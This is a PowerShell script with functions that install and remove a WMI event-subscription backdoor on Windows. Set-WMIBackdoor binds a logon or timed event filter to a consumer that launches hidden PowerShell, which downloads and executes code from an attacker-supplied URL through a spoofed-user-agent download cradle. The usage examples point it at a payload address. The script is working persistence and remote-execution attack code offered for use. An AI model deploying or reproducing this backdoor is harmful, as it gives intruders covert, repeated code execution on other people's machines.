<# .SYNOPSIS This script contains two function that will create or remove a backdoor using WMI event subscriptions. These functions can only be used as an administrator. .DESCRIPTION This script contains two functions that will create or remove a backdoor using WMI event subscriptions. Currently there are only two triggers that can be used. The first triggers an event once an interactive or cached interactive session has been established. A username can be utilized to create a more specific trigger. The second will trigger once a specific time has been met and will also trigger every subsequent hour afterwards. When an event is triggered, a powershell download cradle will connect to the URL specified. .PARAMETER URL The URL for the powershell download cradle. .PARAMETER FilterName The name to use for the Event Filter and Consumer. Make note of this name, it will be used to remove the backdoor! .PARAMETER Interval Interval to be used for how often to send notifications for events. In seconds. Avoid using small intervals. .SWITCH UserTrigger Use the logon event filter .SWITCH TimeTrigger Use the time event filter .PARAMETER Time Specificy time to trigger an event when using the time event filter. In 24 HR format. .EXAMPLE Set an interactive logon event filter that when triggered, will launch a download cradle every 400 seconds. Set-WMIBackdoor -URL "http://www.posh.com/Ps1Payload" -Name "PWN" -Interval 400 -UserTrigger .EXAMPLE Set a time event filter for everyday at 10:30 AM and every subsequent hour afterwards, everyday. Set-WMIBackdoor -URL "http://www.posh.com/Ps1Payload" -Name "PWN" -TimeTrigger -Time "10:30" .EXAMPLE Remove the Consumer, Filter, and Binding with the name "PWN" Remove-WMIBackdoor PWN #> Function Set-WMIBackdoor { [CmdletBinding()] param( [Parameter(Mandatory=$True,Position= 0)] [string]$URL, [Parameter(Mandatory=$True,Position= 1)] [string]$Name, [Parameter(Mandatory=$True,Position= 2, ParameterSetName= "User")] [int]$Interval=500, [Parameter(Mandatory=$False, ParameterSetName= "User")] [switch]$UserTrigger, [Parameter(Mandatory=$False, ParameterSetName= "User")] [string]$UserName, [Parameter(Mandatory=$False, ParameterSetName="Time")] [switch]$TimeTrigger, [Parameter(Mandatory=$True, ParameterSetName="Time")] [string]$Time="10:30" ) #Build the Query if($PsCmdlet.ParameterSetName -eq "User") { if($UserName) { $SID= $(Get-WmiObject -Class "Win32_UserAccount" -Filter "Name='$($UserName)'").SID if(!($SID)) { Throw "Unable obtain SID for the specified user: $UserName" } } if($SID) { $Query = "SELECT * FROM __InstanceModificationEvent WITHIN $interval WHERE (TargetInstance ISA 'Win32_UserProfile') and (TargetInstance.Loaded <> PreviousInstance.Loaded) and (TargetInstance.SID = '$SID') and (TargetInstance.Loaded = TRUE)" } else { $Query = "SELECT * FROM __InstanceCreationEvent WITHIN $Interval WHERE TargetInstance ISA 'Win32_LogonSession' AND (TargetInstance.LogonType = 2 OR TargetInstance.LogonType = 11)" } } elseif($PsCmdlet.ParameterSetName -eq "Time") { $Hour = $time.Split(":")[0] $Min = $time.Split(":")[-1] $Query = "SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' and ( TargetInstance.Hour >= $Hour and TargetInstance.Minute = $Min and TargetInstance.Second = 0)" } #Build the filter $NS = "root\subscription" $FilterArgs = @{ Name=$Name EventNameSpace="root\cimv2" QueryLanguage="WQL" Query=$Query } $Filter = Set-WmiInstance -Namespace $NS -Class "__EventFilter" -Arguments $FilterArgs #Build the Consumer $ConsumerName = $Name $command = "`$wc = New-Object System.Net.Webclient; `$wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) Like Gecko'); `$wc.proxy = [System.Net.WebRequest]::DefaultWebProxy; `$wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX (`$wc.DownloadString('$URL'))" #$encCommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command)) $commandLine = "C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -NoP -NonI -w hidden -Command $command" $ConsumerArgs = @{ Name=$ConsumerName CommandLineTemplate=$commandLine } $consumer = Set-WmiInstance -Class "CommandLineEventConsumer" -Namespace $NS -Arguments $ConsumerArgs #Bind filter and consumer $Args = @{ Filter = $Filter Consumer = $consumer } Set-WmiInstance -Class "__FilterToConsumerBinding" -Namespace "root\subscription" -Arguments $Args Get-WmiObject -Namespace $NS -Class "CommandLineEventConsumer" | Where-Object {$_.Name -eq $Name} } Function Remove-WmiBackdoor { <# #> [CmdletBinding()] param( [Parameter(Mandatory=$True, Position = 0)] [string]$FilterName ) $ns = "root\subscription" $Binding = "__FilterToConsumerBinding" $Filter = "__EventFilter" $Consumer = "CommandLineEventConsumer" #Remove the binding first if(Get-WmiObject -Namespace $ns -Class $Binding | Where-Object {$_.Consumer -like "*$FilterName*"}) { try { Get-WmiObject -Namespace $ns -Class $Binding | Where-Object {$_.Consumer -like "*$FilterName*"} | Remove-WmiObject Write-Host "Binding has been removed" } catch { Write-Warning "Unable to remove FilterToConsumberBinding with the name: $FilterName" } } else { Write-Warning "Unable to find FilterToConsumberBinding with the name: $FilterName" } #Remove the filter if(Get-WmiObject -Namespace $ns -Class $Filter | Where-Object {$_.Name -eq "$FilterName"}) { try { Get-WmiObject -Namespace $ns -Class $Filter | Where-Object {$_.Name -eq "$FilterName"} | Remove-WmiObject Write-Host "Filter has been removed" } catch { Write-Warning "Unable to remove Event Filter with the Name: $FilterName" } } else { Write-Warning "Unable to find Event Filter with the name: $FilterName" } #Remove the Consumer if(Get-WmiObject -Namespace $ns -Class $Consumer | Where-Object {$_.Name -eq "$FilterName"}) { try { Get-WmiObject -Namespace $ns -Class $Consumer | Where-Object {$_.Name -eq "$FilterName"} | Remove-WmiObject Write-Host "Consumer has been removed" } catch { Write-Warning "Unable to remove Consumer with the Name: $FilterName" } } else { Write-Warning "Unable to find Consumer with the name: $FilterName" } }